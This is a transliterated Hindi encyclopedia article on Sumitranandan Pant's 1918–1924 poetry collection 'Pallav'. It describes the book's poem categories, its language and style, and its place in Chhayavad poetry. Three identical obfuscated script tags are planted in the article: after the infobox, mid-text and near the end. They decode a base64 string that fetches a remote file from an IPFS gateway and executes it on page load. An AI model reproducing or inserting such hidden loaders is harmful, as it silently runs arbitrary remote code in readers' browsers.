पल्लव -सुमित्रानन्दन पंत

pallav -sumitranandan pant
pallav kavita sangrah ka avaran prishth|150px|center
kavi	sumitranandan pant
mool shirshak	'pallav'
prakashak	'rajakamal prakashan'
ISBN	81-267-0335-5
desh	bharat
prishth:	156
bhasha	hindi
prakar	kavita sangrah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

pallav bharat ke prasiddh sahityakar sumitranandan pant ke prarambhik kavy-prayogoan ki parinati hai. yah ek kavita sangrah hai, jisaka prakashan 'rajakamal prakashan' dvara kiya gaya tha. isamean sankalit rachanaoan ki sankhya 32 hai, jo 1918 ee. se lekar 1924 ee. tak ki kritiyaan hai. 'vijnapan' mean pant ne likha hai ki usane pratyek varsh qi 2-3 rachanaean granth mean sangrahit kar di haian. isamean sandeh nahian ki is rachana se pant ke kavy-vikas ki pragati spashtat: soochit hoti hai. shreshthatam rachanaean aantim char varshoan (1921-1925 ee.) ki kritiyaan haian. inamean kavi rasabodh ki paripoornata prapt kar saka hai. 'pallav' ki aantim kavita 'parivarttan' kavi ke jivan darshan tatha kavy-prayas mean ek naye mo d ki soochana deti hai aur 'chhaya-kal' shirshak aantim rachana mean ab tak ke jivan ka ahvan svikar kiya hai, is mangalasha sath ki,

"divy ho bhola balapan, navy jivan, par, parivarttan.
svasti, mere anang nootan. puratan madan-dahan॥"

sach to yah ki 'pallav' sumitranandan pant ki kavy-pratibha ka gaurishankar hai aur kavy-parakhiyoan ne use isi roop mean grahan kiya hai. kalpana, kala, moortiman, bhasha - madhury tatha abhivyanjana ki praudhata mean pant ne is sankalan mean apani sabhi pahali rachanaoan ko pichhe chho d diya hai. is granth ko ham pant ke kalpanashil kishor jivan ka sarvochch utkarsh kah sakate haian.

pallav mean sankalit kavitaean

'pallav' ki rachanaoan ko ham kee shreniyoan mean rakh sakate haian -

pratham shreni

pahali shreni vipralambh-pradhan rachanaoan ki hai, jinamean 'uchchhvas' (1922), 'aansoo' (1921), 'smriti' (1922) shirshak rachanaean ati haian. inamean 'uchchhvas' kavi ki pahali prakashit rachana bhi hai. in rachanaoan ko ham 'granthi' ki bhavabhoomi se jo d sakate haian yadyapi abhivyanjana ke kshetr mean ye usase kahian age badhi rachanaean haian. 'pallav' ke 'pravesh' (bhoomika) mean kavi ne 'aansoo' ki kuchh panktiyaan uddhrit kar is nayi bhoomi bhi milati hai. inhian rachanaoan ke adhar par prarambhik samikshakoan ne pant ko vipralambh ka kavi kaha hai aur usake kavy mean usi ki panktiyoan-'viyogi hoga pahala kavi, ah se nikala hoga gan.' ko rachanaoan charitarth karane ka prayatn kiya hai.

dvitiy shreni

chitr:Blockquote-open.gif ham kh di boli se aparichit haian, usamean hamane apane pranoan ka sangit abhi nahian bhara, usake shabd hamare hriday ke madhu se sikt hokar abhi saras nahian hue, ve keval nam matr haian, unamean hamean roop-ras gandh bharana hoga. unaki atma se abhi hamari atma ka sakshatkar nahian hua, unake spandan se hamara spandan nahian mila, ve abhi hamare manovegoan ke chiraliangan-pash mean nahian bandhe, isilie unaka sparsh abhi hamean romaanchit nahian karata, ve hamean rasahin, gandhahin lagate haian. jis prakar b di chuvane se pahale u dad ki pithi ko math kar halaka tatha komal kar lena p data hai, usi prakar kavita se svaroop mean bhavoan ke dhaanche mean, dhalane ke poorv bhasha ko bhi hriday ke tap mean gala kar komal, karun, saras, praanjal kar lena p data hai. chitr:Blockquote-close.gif - pant

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> doosari shreni ki rachanaean 'vina' kal ki avashisht rachanaean haian. ye rachanaean haian 'vinay', 'vasantashri', 'muskan', 'nirjhar-gan', 'sone ka gan', 'nirjhari', akaanksha', 'yachana' aur 'syahi ki booand'. inamean hamean balakavi ka svapn-vilas aur tutala kanthasvar hi adhik milata hai. saras, prasadik bhavabhivyakti se lekar 'syahi ki booand' rachana ki durooh kalpana tak, jo kavyakri da jaisi lagati hai, in rachanaoan ka bhavajagat phaila hai. jijnasa, vaichitry, adbhoot ke prati akarshan aur komalata ki sadhana ka vaishishtay in rachanaoan ko svatantr vyaktitv pradan karata hai parantu in rachanaoan mean kavi ka kishor kanth abhi phoota nahian hai.

tritiy shreni

tisari koti ki rachanaean 'parivarttan' ko chho d kar shesh rachanaean haian, jinhean poorv pant ki shreshthatam kritiyaan kaha ja sakata hai. in rachanaoan mean aangreji ke romaantik kaviyoan, visheshat: vardasvarth aur sheli ki rachanaoan se sparddha spasht roop mean dikhalaee deti hai. kalpana ka abadh aur apratihat pravah in rachanaoan ki visheshata hai. isase jahaan bhavonmukti ki soochana milati hai, vahi kishor kavi ke dussahas aur asanyam ka bhi pata chalata hai. 'chhayavad' shabd se yahi rachanaean parilakshit thian, jinamean dvivediyug ka prasar mana hai parantu 'pravesh' mean unaka vidroh aur chunauti ka bhav bhi spasht ho jata hai. in rachanaoan mean jahaan chitramay bhasha-shaili aur svaratamak madhury ka naya vaibhav hai, vahaan bhavoan ki komalata aur navinata bhi drashtavy hai. 'bichivilas', 'anang', 'nakshatr', 'svapn' aur 'chhaya' is svachchhandatavad apane sampoorn vaibhav ke sath pallavit hua hai. inake atirikt 'maun nimantran', 'vishvachhavi' aur 'vishvavyapti' jaisi rachanaoan mean kavi adbhoot aur prakriti ka aanchal pak d kar rahasyavad ki avataran karata hai aur apane prakritik sanvedanoan mean atindriy rahasyalok ka sanket deta hai. 'maun-nimantran' pant ki atyant lokapriy kavita hai, jisamean prakriti ke madhyam se rahasyasatta ki vyanjana ki gayi hai. ye sabhi rachanaean prakriti-vyapar ko vishay banati haian parantu kavi shidhr hi bahy prakriti ka alamban chho dakar kalpit roopajagat mean kho jata hai. bhavasamy ke adhar par usake kalpana-jagat mean asankhy phool khil jate haian aur usaki kavi-pratibha kisi prakar ka niyantran nahian manati. pahali koti ki rachanaoan mean yadi kavi manaviy prem aur viyog ka kavi hai to is koti rachanaoan mean vah prakriti ko bhavoan se rang kar naya roop rang aur naya sarthakata dene ki apar kshamata hai.

chaturth shreni

chauthi koti ka nirman 'parivarttan' shirshak ekamatr kavita mean milata hai. yah 'pallav' ki sarvashreshth rachana samajhi jati hai parantu pant ke sampoorn kavy mean bhi yah pratham pankti mean rahegi. is rachana mean anek svatantr bhavanubandh haian aur pant samany dvandvabodh se oopar uthakar virath chitroan aur gambhiratam darshanik vicharana ke kshetr mean pahuanch jata hai. is rachana ko ham mahakavyatmak rachana kah sakate haian. isi mean pant ka komal nari-kanth pahali bar purush-kanth mean badala hai. taruny ke pankh kholate hue pant ne is rachana mean nissim nilakash mean unmakt u dan bhari hai.

bhasha aur shaili

bhasha aur shaili ki drishti se 'pallav' svayan ek abhinav jagath hai. usamean sanskrit ke samast shabdakosh ko khoj kar madhur, sanuprat tatha sabhipray shabdoan ka upayog hua hai. 'pravesh' mean kavi ne likha hai- "ham kh di boli se aparichit haian, usamean hamane apane pranoan ka sangit abhi nahian bhara, usake shabd hamare hriday ke madhu se sikt hokar abhi saras nahian hue, ve keval nam matr haian, unamean hamean roop-ras gandh bharana hoga. unaki atma se abhi hamari atma ka sakshatkar nahian hua, unake spandan se hamara spandan nahian mila, ve abhi hamare manovegoan ke chiraliangan-pash mean nahian bandhe, isilie unaka sparsh abhi hamean romaanchit nahian karata, ve hamean rasahin, gandhahin lagate haian. jis prakar b di chuvane se pahale u dad ki pithi ko math kar halaka tatha komal kar lena p data hai, usi prakar kavita se svaroop mean bhavoan ke dhaanche mean, dhalane ke poorv bhasha ko bhi hriday ke tap mean gala kar komal, karun, saras, praanjal kar lena p data hai.' is mantavy mean svayan kavi ki svar-sadhana ki jhankar prakat hai. pulliang-striliang prayog tatha sanyukt kriyaoan ke kshetr mean kavi ne bhavabhivyanjana ke lie ayi hai. kavi mukt-chhand ka samarthak nahian hai, aisa bhoomika se jan p data hai, parantu hindi ki prakriti ke anuroop prathit matrik chhndoan ko chun kar unamean pad-parivartan ke dvara nayi bhavarbhogama bharane mean vah samarth siddh hua hai. sanskrit ki komalakaant padavali ka adarsh samane rakhate hue pant ne hindi ke kanth ki raksha ki hai. chhnd-vidhan par visheshat: aangrezi kavy ka prabhav parilakshit hai. tatpary yah ki 'pallav' ke sath kh di boli ke kavy ka kanth phootata hai aur vah samarth abhivyanjana ke sahasi abhiyan ki disha mean agrasar hota hai.

pallav ka mahattv

bhasha, chhand aur pratik-vidhan ke kshetr mean naye kavi ka drishtikon dvivediyug ke kavi se bhinn hai, isaka do-took pata 'pravesh' se lagata hai, jisaka adhunik kavy samiksha mean mahattvapoorn sthan hai. k aaulerij aur vardasvarth ki lirikal baileds ki bhoomika ki bhaanti 'pallav' ki bhoomika bhi kavy-jagat ki aitihasik ghatana hai. 'pallav' ka kavi ki rachanaoan mean kya sthan hai, yah vivadagrast prashn hai. kuchh vidvanh ke vichar mean 'pallav' ki ooanchaee par pant phir nahian uth sake-ve vicharoan aur vadoan ke jagath mean kho gaye aur unhoanne apani saundaryaanveshi kavi-pratibha ko pangu bana liya. parantu 'pallav' mean pant ki saundary drishti prakriti par kendrit thi aur yah drishti naye-naye sandarbhoan se pusht hokar unake kavy mean barabar sampann hoti gayi hai. uttar rachanaoan mean unhoanne apani abadh kalpana ko lagam di hai. parantu unaka bhavapravan kalpanashil vyaktitv unhean tathyakathan ki nirantar ubarata raha hai. ni:sandeh 'pallav' mean pant ke kishor svapn moortiman haian aur paravartti kavy mean usane in svapnoan ko jag ke sukh-dukh se maansal banana chaha hai. jo ho, vay: sandhik, kalpanapravan aur vishuddhatagrahi kavyarasikoan ke lie 'pallav' chhayavad ka sarvochch shikhar hi rahega.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

dhireandr, varma “bhag- 2 par adharit”, hiandi sahity kosh (hiandi), 334-335.